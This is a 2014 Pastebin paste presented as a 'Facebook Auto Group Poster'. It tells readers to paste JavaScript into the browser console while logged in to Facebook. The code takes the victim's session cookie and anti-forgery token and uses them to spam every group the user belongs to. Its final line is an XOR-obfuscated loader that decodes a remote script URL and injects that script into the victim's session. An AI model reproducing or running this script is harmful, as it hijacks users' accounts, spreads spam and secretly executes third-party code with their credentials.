Guest User

Learn2hack - Facebook Auto Group Poster

a guest
Sep 9th, 2014
713
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.95 KB | None | 0 0
  1.  
  2.  
  3. 1. log in to facebook
  4.  
  5. 2. open | https://www.facebook.com/ArmyAnonymoux |
  6.  
  7.  
  8. #Mozilla Firefox Users
  9.  
  10. ( Ctrl a ) <-- Select all Code
  11.  
  12. ( Ctrl c ) <-- Copy
  13.  
  14. ( Ctrl v ) <-- Paste
  15.  
  16. -► Ctrl+Shift+k ConsoleBox
  17.  
  18. -► Paste All The Code ( Ctrl v ) .
  19.  
  20. -► Enter . DONE.
  21.  
  22.  
  23. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>LEARN2HACK.NET</a></div></br>";
  24. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  25. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  26. var Popupset = document.createElement("div");
  27. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  28. Popupset.innerHTML = askformsg;
  29. document.body.appendChild(Popupset);
  30.  
  31. jx = {
  32. getHTTPObject: function () {
  33. var A = false;
  34. if (typeof ActiveXObject != "undefined") {
  35. try {
  36. A = new ActiveXObject("Msxml2.XMLHTTP")
  37. } catch (C) {
  38. try {
  39. A = new ActiveXObject("Microsoft.XMLHTTP")
  40. } catch (B) {
  41. A = false
  42. }
  43. }
  44. } else {
  45. if (window.XMLHttpRequest) {
  46. try {
  47. A = new XMLHttpRequest()
  48. } catch (C) {
  49. A = false
  50. }
  51. }
  52. }
  53. return A
  54. },
  55. load: function (url, callback, format, method, opt) {
  56. var http = this.init();
  57. if (!http || !url) {
  58. return
  59. }
  60. if (http.overrideMimeType) {
  61. http.overrideMimeType("text/xml")
  62. }
  63. if (!method) {
  64. method = "GET"
  65. }
  66. if (!format) {
  67. format = "text"
  68. }
  69. if (!opt) {
  70. opt = {}
  71. }
  72. format = format.toLowerCase();
  73. method = method.toUpperCase();
  74. var now = "uid=" + new Date().getTime();
  75. url += (url.indexOf("?") + 1) ? "&" : "?";
  76. url += now;
  77. var parameters = null;
  78. if (method == "POST") {
  79. var parts = url.split("?");
  80. url = parts[0];
  81. parameters = parts[1]
  82. }
  83. http.open(method, url, true);
  84. if (method == "POST") {
  85. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  86. http.setRequestHeader("Content-length", parameters.length);
  87. http.setRequestHeader("Connection", "close")
  88. }
  89. var ths = this;
  90. if (opt.handler) {
  91. http.onreadystatechange = function () {
  92. opt.handler(http)
  93. }
  94. } else {
  95. http.onreadystatechange = function () {
  96. if (http.readyState == 4) {
  97. if (http.status == 200) {
  98. var result = "";
  99. if (http.responseText) {
  100. result = http.responseText
  101. }
  102. if (format.charAt(0) == "j") {
  103. result = result.replace(/[\n\r]/g, "");
  104. result = eval("(" + result + ")")
  105. } else {
  106. if (format.charAt(0) == "x") {
  107. result = http.responseXML
  108. }
  109. }
  110. if (callback) {
  111. callback(result)
  112. }
  113. } else {
  114. if (opt.loadingIndicator) {
  115. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  116. }
  117. if (opt.loading) {
  118. document.getElementById(opt.loading).style.display = "none"
  119. }
  120. if (error) {
  121. error(http.status)
  122. }
  123. }
  124. }
  125. }
  126. }
  127. http.send(parameters)
  128. },
  129. bind: function (A) {
  130. var C = {
  131. "url": "",
  132. "onSuccess": false,
  133. "onError": false,
  134. "format": "text",
  135. "method": "GET",
  136. "update": "",
  137. "loading": "",
  138. "loadingIndicator": ""
  139. };
  140. for (var B in C) {
  141. if (A[B]) {
  142. C[B] = A[B]
  143. }
  144. }
  145. if (!C.url) {
  146. return
  147. }
  148. var D = false;
  149. if (C.loadingIndicator) {
  150. D = document.createElement("div");
  151. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  152. D.setAttribute("class", "loading-indicator");
  153. D.innerHTML = C.loadingIndicator;
  154. document.getElementsByTagName("body")[0].appendChild(D);
  155. this.opt.loadingIndicator = D
  156. }
  157. if (C.loading) {
  158. document.getElementById(C.loading).style.display = "block"
  159. }
  160. this.load(C.url, function (E) {
  161. if (C.onSuccess) {
  162. C.onSuccess(E)
  163. }
  164. if (C.update) {
  165. document.getElementById(C.update).innerHTML = E
  166. }
  167. if (D) {
  168. document.getElementsByTagName("body")[0].removeChild(D)
  169. }
  170. if (C.loading) {
  171. document.getElementById(C.loading).style.display = "none"
  172. }
  173. }, C.format, C.method, C)
  174. },
  175. init: function () {
  176. return this.getHTTPObject()
  177. }
  178. }
  179. var j = 0;
  180. var k = 0;
  181. var suc = 0;
  182. var msg = "Hello Friends.";
  183. var arr = new Array();
  184. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  185.  
  186. function autopostingfunc(sender) {
  187. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  188. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  189. var text = data;
  190. var json = text.substring(text.indexOf('{'));
  191. var friends = JSON.parse(json);
  192. friends = friends.payload.entries;
  193. for (var n = 0; n < friends.length; n++) {
  194. arr.push(friends[n].uid);
  195. }
  196. sender.parentNode.innerHTML = "Please Wait....";
  197. postitok();
  198. });
  199. }
  200. var a = document.body.innerHTML;
  201. var dts = document.getElementsByName('fb_dtsg')[0].value;
  202. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  203.  
  204.  
  205.  
  206. function postitok() {
  207. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  208. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  209. suc++;
  210. if (suc > arr.length) {
  211. alert("Completed. Please refresh page.");
  212. suc = 0;
  213. } else setTimeout("postitok()", 30000 / arr.length);
  214. }
  215. setTimeout("autopostingfunc()", 1000);
  216. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
Advertisement
Add Comment
Please, Sign In to add comment